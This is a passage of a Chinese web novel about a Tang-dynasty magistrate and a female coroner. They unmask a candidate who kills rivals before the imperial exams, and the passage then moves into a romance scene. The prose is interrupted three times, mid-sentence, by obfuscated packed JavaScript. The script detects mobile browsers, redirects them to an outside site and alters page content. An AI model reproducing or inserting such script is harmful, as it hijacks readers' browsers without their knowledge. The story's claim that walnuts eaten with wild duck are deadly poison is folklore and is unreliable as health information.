“钱公子……钱公子可在这客栈中?”声音柔婉。 被她拦下的举子,摆了摆手,仓皇离去。 明日就要应试了,谁愿意提起一个死人,不吉利。 那女人正要转身离去,季琢玉上前一步,声音放得平缓:“姑娘寻钱公子何事?” 女子抬眸,眼底忽然有了光:“奴家名唤云娘,是……是平康坊的,昨日钱公子与奴约好,今晨同去西郊赏花……” 她脸颊微红,声音低了下去。 “公子……他素来守信,从不失约,奴等了许久不见人,心中实在不安,便冒昧寻来了。” 她脸上盈盈笑,声音悦耳温柔:“公子若是认得钱公子,可否告知他,就说云娘来寻他了。“ 季琢玉沉默了片刻,道:“钱公子……他昨夜已殁。” “殁……了?”云娘像是没听懂这个词,茫然地重复了一遍。 攥着绣花帕子的手猛地一松,帕子“啪嗒”一声掉在地上。 整个人如同被抽去了骨头,软软地瘫坐下去,眼眶里的泪水涌出来,咬着唇,呜咽着哭起来。 “怎……怎么会……”她摇着头,泪水大颗大颗砸在地上,“钱公子他,他那么好的人,怎么会死了,是谁害死了他!” 崔恪不知何时从马车上下来,走到季琢玉身旁,看着地上哭成泪人的云娘。 “你与他相熟?” 季琢玉抬头看看他,皱起眉头,他方才不是决心要走了吗,怎么还在这? 云袖抬起泪眼朦胧的脸,见来人穿着官袍,赶紧擦去眼泪,站起来回话。 “回这位大人的话,奴与钱公子相熟,钱公子待我们姐妹极好,从无轻贱侮辱,他教我们写字,听我弹琴,与我论诗,他还,还写了好多诗给我们姐妹。” 云娘颤抖着手,从腰间取下一个香囊,解开,里面竟是一叠折叠整齐的诗笺。 “钱公子说,奴虽身在平康坊,却也有心,是这世上唯一能懂他诗中意趣的人。” 云娘眼神悲怆,泣不成声。 季琢玉俯身,从她颤抖的手中接过一张诗笺。 字里行间是对平康坊小姐们的关切,只有平等的相惜,毫无狎昵轻薄。 这与客栈中举子们对钱塬的评价截然相反。 他虽跋扈,虽嘴上不饶人,心却是好的,能平等对待平康坊的小姐们,这样的人会因为几句争吵就杀人吗? 季琢玉捏着诗笺,抬起头,目光撞上崔恪深邃的眼眸。 他眼中冰冷,波澜不起,好似对云娘和钱塬的事情了如指掌。 “崔大人,”季琢玉声音决绝,带着前所未有的坚定:“请允我重新验尸。” “随我来。”崔恪转身,拂袖而去。 大理寺验尸房。 季琢玉深吸一口气,闭紧的双眼再睁开,眼中只剩下石台上的尸体。 “大人请看,”她的声音格外清晰,“此痕走向斜下,边缘锐利,绝非自缢所能形成,这是典型的扼痕。凶手力道极大,应是常年从事体力活。” 她的指尖沿着瘀痕的走向移动,“凶手身高应略高于周子安,从背后突袭,右手拇指在此处强力按压。” 她的指尖点在最深陷的瘀点,崔恪站在一旁,紧紧追随着她的动作移动。 她冷静地分析,一字一句认真极了。 季琢玉放下验尸工具,指向摊旁边的遗书。 “大人再看这遗书,笔迹确是钱塬无疑,但细观其转折处,力道虚浮飘忽,绝非平静赴死之人所书,更像是在被胁迫控制下,仓促潦草而成。” 最后季琢玉指向钱塬歪垂的头部和微微伸出的舌头:“自缢者舌苔多因窒息肿胀顶出齿列,但钱塬舌苔形态异常,舌尖有齿痕压印,这是被扼颈窒息时,无意识咬合所致。” 崔恪在一旁认真听她说完,神色毫无变化,依旧冷峻着一张脸。 季琢玉明白过来,崔大人其实早已看出这些了,所以才对她刚才那些话无动于衷。 “大人!”季琢玉大声喊他,气恼了:“您分明知道钱塬不是自杀,为何要当着客栈中举子们和掌柜的面草草结案。” 未等崔恪解释,她恍然大悟,眼睛一亮,又道:“引蛇出洞?大人是想引蛇出洞!” 客栈鱼龙混杂,要将杀害钱塬和李淳王石的人找出来,并非易事,假装结案,引蛇出洞,确实是妙招。 已经知道凶手要杀的下一个目标就是孙海,只要秘密监视住孙海,便能将藏匿在暗处的凶手抓出来。 季琢玉忽然看向门外,不见崔十九的身影,如果不是有任务在身,崔十九是半步不离崔大人的。 这会儿,崔十九应该已经秘密折回客栈了。 47. 第四十七章 “嗯,”崔恪轻应一声,他看一眼石床上的尸体,目光上移到季琢玉的脸上,“你做得很好。” 季琢玉脸上发烫,想到方才在客栈外,她嚷着大人是愚笨之人,还说让崔十九去江南跟她干,别在大理寺当差了。 她脸色臊红,不敢去对视崔大人的眼睛,崔恪孰若无睹,清冷的目光从她头顶一扫而过。 说良禽择木而栖,又说要去找江南找杨大牛,她这个鸟打算栖在杨大牛这棵歪脖子树上吗? 崔恪并不生气,只觉得好笑,并未当真。 季琢玉咬咬唇,眼珠一转,赶紧说:“大人,您伤势还没好,我去帮您煎药。” 她一溜烟跑出去,生怕身后的崔大人记得她大逆不道的话,将她赶出大理寺。 白花花的银子可就打水漂了,她还想着多赚些钱,游历四方,去找亲生父母呢。 花大叔是在长安城的养济院收养她的,当时她尚在襁褓之中,养济院的义工也不知道她是哪儿来的,某天就突然出现在院子里。 不同于寻常的孤儿出现在院门外,她是直接被放在了院子里,大门紧闭,四面高墙,义工也是吓了一跳。 花大叔说,他讨不到老婆,又怕某天死了,没人给他打理后事,故而这才到养济院收养孩子的。 至于为何选中季琢玉,花大叔说,她生得白嫩,比其他孩子长得俊俏,肉包着骨头,像个肉包子,好养活。 说白了,就是瞎选的,随便挑一个身子全乎的,没病的孩子,留在身边给喂口饭。 花大叔本来带着她去江南了,听说是在江南谋了个好差事,不过,她太小了,花大叔不会照顾婴儿,差点将她“细心照顾”没了。 于是,又回到长安城中,投靠亲戚,花大叔口中的这个亲戚就是秦姨,据花大叔说,那个时候秦姨就已经在长安卖胡饼了,生意好得很。 至于两人之间的亲戚关系,花大叔还真跟季琢玉说过,秦姨是他外祖的堂兄的妻子的伯父的孙子的女儿。 花大叔说,这算实在亲戚,靠谱得很,让她喊一声秦姨,日后他二人便在长安城中落脚了。 翌日,崔十九赶在天亮前,叩响大理寺的大门。 崔恪一宿没合眼,屋里亮着火烛,人坐在案桌前,看了一宿的书卷。 不是案宗,而是书卷,似在等什么消息传来,漫不经心,又心有成竹。 季琢玉虽在自己屋里,却时刻注意着崔大人,她知道,客栈一旦有动静,崔十九一定会来禀报,她生怕错过。 果然,瞧见崔十九来了,她急忙忙走出来。 “大人,如您所料,他果然对孙海下手了。” 季琢玉披着外衣,站在院子里,看到崔大人的屋门敞开,崔十九背对着她,清楚的声音传到她的耳朵里。 他? 崔十九口中的“他”是谁,季琢玉心中有所猜忌,崔大人虽未说真凶是何人,可除了那人,她再想不到还有其他人可疑。 崔恪快步走出来,步伐沉稳迅捷,经过她身边时,道:“跟上。” 季琢玉慌忙将外衣穿好,小跑着追上崔恪和崔十九的脚步。 随着一行人从大理寺走出来,天已大亮,远处贡院传来钟声,这意味着客栈里的举子已经启程前往贡院了。 季琢玉脚下不敢停下半刻,跟在崔大人和崔十九身后,不知绕过多少条小路。 终于,官道一个转弯处,三辆装饰朴素的青篷马车出现在视野中,正不紧不慢地行进。 “大理寺办案,停车!” 崔恪语气严肃,声音不急不缓正好盖过车轮的辘辘声。 “吁——!” 当先的马车夫被这突如其来的断喝声吓到,慌忙勒紧缰绳。 马匹嘶鸣着,前蹄扬起,险险停住。 后面两辆马车也紧跟着急停下来,官道上顿时一阵人仰马翻的混乱。 “作甚!作甚!”第一辆马车的车夫是个满脸横肉的壮汉,惊魂未定地探出头,看清来人官袍后,又是惊惧又是恼怒,“官爷,这是去贡院赶考的车,耽误了时辰,小的们吃罪不起啊,举人老爷们的前程……” 上面的人叮嘱过,千万不能耽搁考试时间,一旦错过,车内的举子们就得再等三年。 这是天大的要紧事。 “大理寺查案,不得阻挠。” 崔十九上前一步,掏出令牌,至于车夫面前,令牌上赫然写着大理寺三字,无形的威压让车夫后面的话生生噎了回去。 车内几个举子不耐烦,掀开车帘,翻身下车,面带愠色。 “又出什么事了?怎么又是大理寺。” “还让不让人赶考了,我爹还等我考取功名回乡呢。” “真是够倒霉的,早知道不坐这辆马车了,净惹上麻烦。” 举子们你一言我一语,生气抱怨,他们手里不是捏着翻了一半的书卷,就是攥着半块没吃完的干粮、点心。 早上的风冷得很,吹得他们缩缩脖子,看向崔恪和季琢玉的眼神是毫不掩饰的烦躁与怨怼。 再大的官也不敢阻拦去赶考的马车,当今天后重视科考,世人皆知。 “崔少卿,这又是为何?”一个瘦高个举子声音尖利,扬了扬手里的书,“半个时辰后便要开考,现下正是温习最后关窍之时,车马劳顿已是辛苦,怎的还要在此耽搁?” “就是,案子不是都结了吗?那钱塬都认罪伏诛了!”另一个胖些的举子嘴里还嚼着东西,含糊不清地抱怨,腮帮子一鼓一鼓。 “官爷行行好,放我们过去吧,十年寒窗,全在此一举啊。” 众人脸色皆都十分难看,唯有最后下车的薛璋,不曾说一句话,保持着得体的仪态。 他对着崔恪和季琢玉拱手一礼,声音清朗:“崔少卿,季仵作,不知有何要务,需在此拦停我等,若有需协助之处,学生定当尽力。” 崔恪目光扫过他,落在孙海身上,像是在等什么。 就在这时,“呃……哎哟!”孙海突然痛苦地叫起来,捂着肚子。 众人循声望去,只见他手里捏着半块酥点,脸色煞白如纸,豆大的汗珠从额头滚落。 手中的半块酥点“啪嗒”掉在尘土里,双手死死捂住肚子,腰都直不起来。 “孙兄,你怎么了?”旁边有人惊问。 “肚,肚子疼得紧……” 孙海声音哆嗦,身体蜷缩下去,痛苦地呻吟着。 咙里发出“嗬嗬”的怪响,身体抽搐了一下,头一歪,“哇”地一声,竟吐出一大滩秽物。 更骇人的是,他的嘴角沾着白色泡沫状的口水,分明是中毒的迹象。 “他吃的点心里有毒!”有人惊恐地尖叫起来。 “怎么可能,这点心我也吃了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“嘘,小声点。”旁边有人扯了扯他的袖子,脸上也并无多少同情,反而带着一丝难以言说的放松,“唉,也是命,十年寒窗苦读,临门一脚,竟毁在一口吃食上,可惜了,可惜了。” 季琢玉对身后的话充耳不闻,倒是崔恪脸色黑着,看那群举子的眼神更冷了。 崔十九紧闭双唇,见自家大人不悦,出声道:“都闭嘴,谁再多说一句,便将他带回大理寺关押,以同犯论处。” 季琢玉蹲在地上,地上有半块沾了尘土的油酥点心,以及一小节用油纸包着的酱色肉干。 地上的呕吐物是两种食物混合的气味,方才孙海就是吃了这两种食物,才中毒的。 她又捻起一点掉落的点心碎屑,凑近鼻尖嗅闻,又捡起肉干,指尖沾了一点酱汁细辨。 眉头忽然蹙紧,声音急迫:“大人,这油酥点心里掺了大量胡桃碎,这肉干是野鸭肉腌制而成的。” 众人不解,纷纷探头去看她手中的吃食。 站在一旁的崔恪,沉声道:“《食疗本草》有载,胡桃与野鸭肉同食,其毒甚烈,轻则腹痛如绞,呕吐白沫,重则伤及脏腑,危及性命。” 举子们倒吸一口冷气,这两种吃食竟然相克,他们不约而同地看向其中一人。 他们都瞧见,今早走出客栈的时候,薛璋将自己的点心和肉干分给了孙海,还不忘叮嘱他趁热吃。 薛璋不以为意,脸上毫无慌张之色,反而一脸担忧,道:“我竟不知,好心将吃食分给孙兄,反而害了他。” 季琢玉盯着薛璋,不自觉地咬住牙,他还真是沉得住气,光明正大害人被揭穿,还能巧言令色。 这样的人,如果考中进士,成为天子门生,只会扰乱朝堂,祸害百姓。 48. 第四十八章 崔恪静静站着,什么话也没说,只是目光盯在他身上。 薛璋又说:“贡院路远,若不嫌弃,可用我家马车,送各位同去。” 他抬手,指向巷口两辆宽敞的青帷油壁车静静候着,马匹膘壮,车辕锃亮。 “薛兄高义!” “雪中送炭,真君子也!” “有薛兄在,我等安心!” 举子们一声声称赞薛璋,更有甚者拱手向他行礼道谢,朝着马车走去。 崔恪一个眼神,崔十九便上前一步,手臂一拦,硬生生截在薛璋身前。 “大人这是何意?”薛璋眼神平淡,嘴角依旧是温润地弧度。 崔十九神色冷峻,字字清晰,撞进每个人耳中,“旁人能走,”阻拦他的手臂纹丝不动,“你,不能。” 走出去的几个举子驻足,转身望向薛璋,神色疑惑。 薛璋脸上的笑意丝毫未减,眼底深处藏着一丝不易察觉的杀气。 “哦?”他微微挑眉,姿态从容,似面对无伤大雅的玩笑,“大人何出此言?莫非在下这马车,有什么不妥?” 语气平和,恰到好处的疑惑。 “马车无甚不妥,”清冷的声音响起,崔恪缓步上前,目光冷沉,看着薛璋那张温润如玉的虚假做派,“不妥的,是人。” 面对强大的气势,薛璋下意识退后一步,他有种不好的预感。 “来人,薛璋谋害同窗,将其拿下。”崔恪一声令下,闻风而来的官差当即围了上去。 “什么?!” “大人慎言!” “这……这如何可能,薛兄怎会谋害同窗?” “大人,您不会搞错了吧,孙海是自己吃错了东西,不关薛兄的事。” “就是啊,大人,您不能光凭这一点就说薛兄谋害同窗,这罪名可不小。” 举子们议论此事的声音忽高忽低,大多都是在替薛璋开脱。 薛璋唇角的弧度缓缓崩平,眼下冰冷一片,他直视崔恪,眼神沉静得可怕,不见丝毫慌乱。 “崔大人,您是大理寺少卿,不会不知道污蔑朝廷命官之子,是重罪。” 他语调平稳,甚至带着点循循善诱的意味。 “您说我谋害同窗,证据何在?” “你精研食性相克之道,知晓孙海喜食肉干,赴考前必定会吃,便将掺了胡桃的酥点送给他,你故意为之,就是为了让他无法参加贡院考试。” 季琢玉盯着他,那眼神好似要直接看透他的内心所想。 薛璋眼皮都没跳一下,只淡淡道:“季仵作好一张利口,这仅是你的臆测罢了。” “臆测?”季琢玉踏前一步,逼近薛璋,“那李淳呢?他滴酒不沾,怎会‘醉死’在竹林里,满身酒气?” 她声音拔高,直截了当道:“是你,前一夜以‘能得今科策问题目’为饵,诱他至杏花楼,你算准了他必去。” “‘杏花楼掌柜能证,前一夜亥时三刻,确有一人穿着李淳那件半旧靛蓝衣衫进了酒楼雅间,身形背影,与李淳无二。” “可那人根本不是李淳,”季琢玉声音不高,冷眼扫到薛璋的脸上,“李淳那一夜根本未曾赴约,他忧心‘泄题’乃是大祸,临时改了主意。穿着他的衣衫出现在酒楼,故意让人看见的醉酒之人是你。” “在你房中床下,有一件与李淳一样的半旧靛蓝衣衫,你作何解释?” 薛璋咬紧牙关,沉默不语,双手在宽大的袖子下攥了起来。 他微微歪了歪头,仍不死心,问道:“我堂堂洛州司马之子,前程似锦,杀他们……季大人倒是说说看我图什么。” 季琢玉扭头看向崔恪,崔恪不紧不慢从袖中取出一个木牌,牌子上正是薛璋二字。 崔恪语气平平:“春闱取士,三百人止,你是三百挂四,只需有四人进不了贡院,便能镀金上榜。” “荒谬。”薛璋愤然拂袖,音调扬高:“我才学出众,考场之上,正大光明赶超数人,不在话下,何须行此龌龊。” 他挺直脊背,目光扫过四周惊疑不定的面孔,试图让众人信服他所言。 “三百挂四,已是你花钱找人替试所得,贡院考试不比洛阳,你不能故技重施,便对同来应试的举子起了杀心。” 薛璋没想到,崔恪竟连三年前的事情都能查到,他这个举子身份是怎么来的,他心知肚明。 “诬陷,赤裸裸的诬陷,证据呢,拿出证据来,否则便是构陷官眷。”他死咬着牙关不承认。 “证据在此!”崔十九大喊一声。 来人竟是钱塬的书童阿福,阿福抬起手,食指抖得不成样子,指着薛璋:“是…是他,我亲眼看见他杀了公子,昨晚我煮好药准备端给公子,却不想竟看到他在行凶,我太害怕了,便连夜躲了起来。” 薛璋瞪大眼睛看向阿福,倒是他疏忽大意了,竟没把这个书童一同杀了。 “薛璋,如今证据确凿,人证物证俱全,你还有何话可说!”崔恪呵斥一声。 薛璋忽然笑起来,声音近乎疯癫:“庶子……我是庶子啊,我娘是奴籍,我爹瞧不上我,眼里只有连中三元,光耀门楣的嫡子。” “他说,考不中进士,就让我滚出薛家,我也是他的儿子啊,凭什么,凭什么只能分得一间破屋,几亩薄田,这不公平!” 他看向站在不远处的举子们,几乎是嘶吼着喊道:“你们这些寒门出身的人,比我更低贱,凭什么排在我前面!啊,李淳、王石、钱塬,他们的命,有我的前程金贵吗?我可是洛州司马的儿子!” “只要我考中进士……我爹就能正眼瞧我,我就能将我娘的灵位摆在祠堂里供奉,他们该死,就该为我的前程让路!” 崔恪没再看薛璋一眼,命令一旁的崔十九:“拿下,带回大理寺审讯。” 贡院的人来了,骑着马赶过来。 “禀崔大人,天后已同意大人的请求,下旨将春闱改作三日后。” 举子们眼睛一亮,感激地看向崔恪,原来崔大人早已为他们做好打算,今日拦住马车抓拿凶犯,并不会耽误他们应试。 “谢过崔大人。” 崔恪走远,诸位举子在他身后拱手行礼,态度恭敬,眼神中尽是倾佩。 三日后。 大理寺值房内,季琢玉盘腿坐在下首一张胡凳上,面前摊着张油纸,上面堆着几个酥皮点心渣。 她腮帮子微鼓,捏着半块芝麻胡饼,眼睛亮亮地望着崔恪。 崔恪端坐主位,提笔批阅卷宗,十分专注。 季琢玉含糊不清地赞道:“大人真是神了,这才一会儿的功夫,就把那薛璋的狐狸皮给扒下来了,如今他已认罪画押,案子总算了结了。” 崔恪笔下未停,朱砂笔尖在纸面上滑过,留下红批,淡淡“嗯”了一声,算是回应。 季琢玉咽下嘴里的饼,灌了口温茶,满足地舒了口气,看向窗外,话语里有几分惆怅。 “算算时辰,贡院那头,龙门该是开了,那些举子,此刻想必正对着考题绞尽脑汁呢……” 她声音低了些,指尖无意识捻了一下油纸。 “可惜了李淳,王石,还有钱塬,他们寒窗十载,本也有机会金榜题名,为朝廷效力,光耀门楣的,若是能考进前三甲,说不定还能得蒙天后娘娘召见,亲睹圣颜,可惜一朝赶考,惨死在这长安城中。” 听到“天后”二字,崔恪手中的笔一停,抬头看向她。 季琢玉被他看得浑身不舒服,下意识缩缩脖子,小声道:“大,大人?” 崔恪目光并未移开,凝视着她的脸,声音平缓听不出情绪:“你想见到天后?” 季琢玉眨眨眼,没料到他会突然问这个,笑了笑,用力点头:“想啊,天底下谁不想一睹天后娘娘的圣容,要是能再见到天后娘娘一次就好了。” 她托着腮,眼睛里满是向往。 再见到一次? 崔恪握着笔杆的手忽然攥紧,清晰可见的指节微微泛红,脸上面无表情。 他搁下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16008790|174734||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 朱笔,动作随意,目光未曾偏离她的脸半分,声音压得更低:“你…见过天后?” “见过啊。”季琢玉答得干脆,有点得意。 崔恪眉头一紧,直勾勾盯着她。 季琢玉忽然“噗嗤”一声笑了出来,摆了摆手,语气轻松:“大人,我跟您开玩笑呢,去年冬天,天后娘娘銮驾去东市那边,说是赏雪景来着,乌泱泱的仪仗,禁军开道,好大的阵仗,我当时正好在街对面铺子里给秦姨买针线,隔着人山人海,远远地,就瞧见高阁上有个穿着明黄大氅的背影,让一群宫女太监围着,在窗边站了那么一小会儿。” 她比划了一下,眼神清澈,“就一个背影,模模糊糊的,连脸都没看清,这算不算见过?” 听她说完,崔恪紧绷着的下颚悄无声息地松弛下来,眼神缓和。 他重新提笔沾墨,专注地批改卷宗。 “嗯。”他低着头应了一声,声音冷硬单调,毫无波澜,“背影,也算见过。” 季琢玉点点头,吃点心吃的口干,端起茶水大喝一口,舌尖被烫得一缩,她吐了吐舌头,带着点娇憨地埋怨,“哎呀,太烫了,这茶好是好,就是喝得不过瘾,要是……” 她眼珠一转,看向崔大人,带着讨好的意思:“要是能来点酒就好了,案子结了,合该庆祝庆祝。” 崔恪沉默片刻,就在季琢玉以为他会像往常一样冷着脸斥一句“值房重地,岂容饮酒”时,他淡淡开口:“改日我让人送两坛新酿的梨花白过来。” “真的?”季琢玉笑靥如花,惊喜之情从漂亮的眼睛里溢出来。 她下意识身体前倾,双手竟越过小案几,一把抓住了崔恪搁在案上的右手手腕。 他的手背微凉,骨节分明,手心带着常年握笔和持剑留下的薄茧。 “大人您真是天底下最好、最通情达理的上官。”她摇着他的手腕,雀跃得像是得了天大的赏赐。 崔恪垂眸,看着攥在手腕上的手,指尖还沾着油光和饼屑,却是那么的温暖柔软,像绸缎覆在他的手腕处。 季琢玉还沉浸在欢喜中,幻想着几日后就能喝到梨花白了,到时一定要叫上大人和崔十九,一起喝才痛快。 不知怎得,崔恪猛地抽出手,挣脱开来,蹙着眉头看她,像是恼了。 他动作之大,将她的思绪拉回来,她这才意识到刚才干了什么,倒吸一口冷气,连忙退步。 “啊!” 季琢玉惊呼一声,桌上的蜡烛倾倒下来,火光溅到她的裙摆上。 她还没反应过来,一件外袍从天而降,将她整个人严严实实地裹住,裙摆处的火花瞬间被闷灭。 她被人紧紧抱住,肩膀发抖,后知后觉地害怕。 她天生怕火,这事只有秦姨和花大叔知晓,世上再无第三个人知晓。 “没事了没事了……”崔恪抱住她,在她耳边轻声安抚。 值房厚重的门帘,恰在此时被无声地掀起一角。 崔十九一只脚刚踏进来,眼前的一幕便撞入眼帘,他的眼珠子几乎要瞪出来。 素来冷硬如冰的崔大人,此刻竟将季姑娘抱在怀中。 大人脸上那是什么? 分明是……男人对女人的爱意。 崔十九好似被施了定身咒,僵在门口。 他看到自家大人抬起眼皮,目光扫向他,眼里已经恢复了往日的冷淡。 “禀……”崔十九喉咙发紧,后面的话生生卡住。 一个激灵,将抬起的脚收了回去,动作迅速,唰地放下门帘,将自己严严实实挡在外面。 转身压低嗓子,对外面可能路过的仆人和差役喝道:“大人与季仵作正在值房内处理紧要公务,任何人不得打扰,违者重责。” 崔十九背对着门板,心跳加速,手心全是冷汗,脑子里只剩下一个念头在疯狂叫喊。 他什么都没看见,什么都没看见,大人和季姑娘只是在处理公务,对,处理公务,非常紧要的那种,除此之外,再无其他。 49. 第四十九章 季琢玉怎么也没想到,崔恪竟会抱她,她虽女扮男装,整日混迹在西市,可从未与男子如此亲近过。 被他的外衣裹着闷得很,她伸手轻轻推了推他。 崔恪低头看到抵在胸前的小手,松开她,退后一步,外衣还在她身上披着。 季琢玉取下身上披着的外衣,想要还给崔恪,她穿着他的外衣,于理不合。 她上前半步,手里的外衣还没递送过去,脸色渐白,用另一只手死死按着小腿外侧,额角布满细密的冷汗。 崔恪目光下落,这才发现她的裙摆上烧了个洞,小腿处的皮肤红肿。 季琢玉忍着疼,声音有些发颤,试图站直些,“大人,能麻烦人送个药进来吗?” 她实在是没法自个走出去,腿站不直,火辣辣地疼。 崔恪忍不住将她拽住,打横抱起,大步走向角落里的硬木条案桌。 一挥手,将案桌上的书卷扫落到地上。 季琢玉被安放在案桌上,腿上没有力气,眼里噙着泪,又疼又无可奈何,一挣扎小腿上的烧伤便血肉撕扯般的疼起来。 “坐稳。”崔恪沉声道,语气不容置喙。 季琢玉坐在高案上,视线与他齐平,玄色官袍下的脊梁挺得笔直,肩线宽阔而紧绷。她的心跳在胸腔里撞得更乱了,目光不由自主地偏移。 崔恪站在她面前,弯下腰伸手去脱她的鞋子,季琢玉按住他的手,冰凉的五指碰到他温热的手背上,心中一颤。 “大人要做什么……”季琢玉轻咬着下唇,脸颊浮现一片羞涩的红晕。 “胡思乱想什么?”崔恪知道她想歪了,他就算有心思,也不会挑这个时候。 季琢玉低下头不敢看他,松开手,耳边传来云头履落地的声音,她慌忙抽回一只脚,另一只脚被攥着脚踝动弹不得。 眼看着薄透的夏衫裤管被撩至膝弯,露出下方一截光滑细腻的小腿肚,她的脸红得好似滴血。 小腿修长,脚踝纤细得恰到好处,足弓线条极美,脚趾圆润如贝珠,每一寸肌肤都粉白无暇。 微茧的掌心覆在她的脚腕处,温暖从脚面传递到足尖,她不自在地勾起脚。 “别动。”低沉地声音让她的脚趾间忍不住发抖。 崔恪冲屋外喊:“十九!” 崔十九快步走进来,以为大人有案子要他去查,没想到却看见地上丢着大人的外衣和季姑娘的杏色绣花鞋。 季姑娘低着头看不清脸上的表情,发髻凌乱,红晕从她的脖颈蔓延到耳根。 从崔十九进门的位置看,她几乎是把头埋到崔大人胸口上了。 再看自家大人,高大挺拔,微微弓着身子,单手握着一只纤巧玲珑的小脚。 “把本官的金创药取来,再打一盆热水。” 大人……大人青天白日就这么猛吗? 又是药又是热水,崔十九很难不想歪,他在大人身边数年,从未见大人这般,如今好不容易破了戒,季姑娘受不住也是自然的。 他赶紧应声:“卑职这就去取药。” 崔十九不仅去拿了金创药,还随口问了酒爷一句何日是吉日,须得是成婚的吉日。 他想着得早做准备,买果子买红绸这些都得交代下去,大人要成婚了,是大理寺天大的喜事。 很快,崔十九拿着金创药进屋,隔得很远放下,喊了一声大人,头也不回地跑了。 崔恪转身走过去,弯腰将东西从地上捡起来,再回来手里便多了一个巴掌大的白瓷药罐。 他用指尖旋开盖子,一股清苦的药香迅速弥散在空气里。 他撩起官袍前摆,在她面前单膝半蹲下来,季琢玉受伤的小腿自然垂落,大人蹲下时,高挺的鼻梁险些擦过她的膝盖,让她的心头又是一撞,下意识地想缩回腿。 崔恪无奈,腾出一只手攥住她的小腿,大手圈住她的小腿,五指还有余地。 他垂着眼,小心地撩开她破损的裤腿布料,被烫伤的地方暴露出来,约莫巴掌大的一块皮肤红肿不堪,边缘甚至起了几个细小的水泡。 呼吸一顿,迅速伸出修长的手指,探入冰凉的药膏中,仔细地蘸取了一小块。 他的指尖带着薄茧,触感微糙,沾着药膏落下,瞬间带来一阵舒服的冰凉,压住了皮肤灼烧的疼。 季琢玉的肩膀抖动了一下,轻轻吸了口气。 崔恪抬眸瞥她一眼,眸色化作深浓的墨色,眸中的微澜不易察觉。 他随即又垂下眼睫,专心于手上的动作。 一下又一下,力道极轻,涂抹得十分仔细,神色虔诚地像是在礼佛。 微凉的指腹沿着烫伤的边缘,一点点向内,将淡青色的药膏均匀推开,覆盖住每一寸红肿。 季琢玉看得呆愣住,她从未见过如此温柔到极致的大人,与平日冷峻的面容判若两人。 值屋内烛光摇曳,十分安静,两人清浅的呼吸交织在一起。 季琢玉低着头,视线落在崔恪浓密的眼睫上。 低垂的睫毛上有烛光闪烁留下的一小片扇形阴影,轻轻颤动着,看得着迷了,便是晃眼睛。 药膏渗入肌肤带来清凉感,心口却觉得越来越热。 崔恪的指尖在她脚踝上方最后一点红痕处轻轻带过,他收回手,目光凝视着她微蜷的脚趾。 小巧的脚趾紧张地蜷缩着,粉嫩里透着无措的苍白。 季琢玉脸上烫得厉害,比方才火燎裙摆更让她难受,终于鼓起勇气,声音细若蚊呐:“多谢大人……” 崔恪这时抬起头,目光猝不及防地落在她的脸上,深邃暗淡,似在想什么。 季琢玉看见他眼里有个小人,他眼里的小人是她。 她唇角尽力压着,眼神变得柔和婉转,不知为何,跟大人靠得如此近,竟一点陌生的感觉也没有,相反,是一种名为安心的熟悉感。 “不必谢。”崔恪开口,声音低沉,倒是比平时少了几分冷硬,多了一丝喑哑。 他站起身,高大的身影再次笼罩住她眼前的烛光,红光跳动在他的官袍上,照着他的身影格外挺拔。 他的目光没有移开,凝视着她的眼睛。 “前些日子,”他顿了顿,好似是什么极为重要的事,“你不也亲手为我擦药膏吗?” 他的语调平淡,像是在陈述一件公事,“一还一报,算不得什么。” 季琢玉恍然愣住,如同被浇了一盆凉水,从头到脚,浑身冰凉。 他给她擦药膏,是为了报答她之前照顾他? 如大人所说,只是一事一报,算不得什么。 “是,大人。”她声音很小,也足够崔恪听见了。 已经擦过金创药,伤口没那么疼了,更多的是麻木感,她用手撑着高桌,艰难地从上面下来,一瘸一拐便要出去。 “砰”眼前的木门被人从外面猛地撞开,门板砸在墙上又迅速反弹回来,本就不结实,瞧着要掉下来了。 季琢玉有些恼,这门坏了,不还得从大理寺的账上拨银子买新的,这几日从崔十九口中得知,大理寺账上银子短缺,大理寺没钱,还怎么给她发工钱。 “你!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16012966|174734||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 指着来人,看见是谁后,又缓缓放下手,惊讶道:“大牛?” 杨大牛旋风般冲了进来,一身短打劲装,袖子高高挽起,古铜色臂膀显得人十分粗狂。 他怒目越过季琢玉,看向她身后的崔恪。 好啊,好啊,这个居心叵测的小白脸,原来在这呢,叫他好找。 他方才在窗外,正正好好瞧见,姓崔的将他妹子季琢玉放在高案上,他妹子一条小腿被撩起,崔恪骨节分明的手握着她纤细的脚踝。 青天白日,正大光明,就敢这么对他妹子,到了夜深人静的时候,两人共处一室,还了得? 一股热血“轰”地冲上杨大牛的脑门,他额角青筋一跳一跳,指着崔恪的脸,嚷着: “姓崔的,你……你竟敢轻薄我妹子!” 咬牙切齿,整张脸因为暴怒发红发青,简直比唱戏的还离谱。 “我妹子清清白白一个姑娘家,被你摸脚抱腿的,成什么体统,你……你今天必须给我说清楚,八抬大轿,对,八抬大轿娶为正妻,不然老子跟你没完!” 他口中的唾沫星子几乎喷到崔恪脸上,嗓门大得震天响。 季琢玉被他吵得脑袋直疼,眼前一片空白,脸颊上刚褪下去的红晕再次浮现,不是羞怯而是恼了。 “大牛哥,你胡说什么,大人只是在帮我上药。” 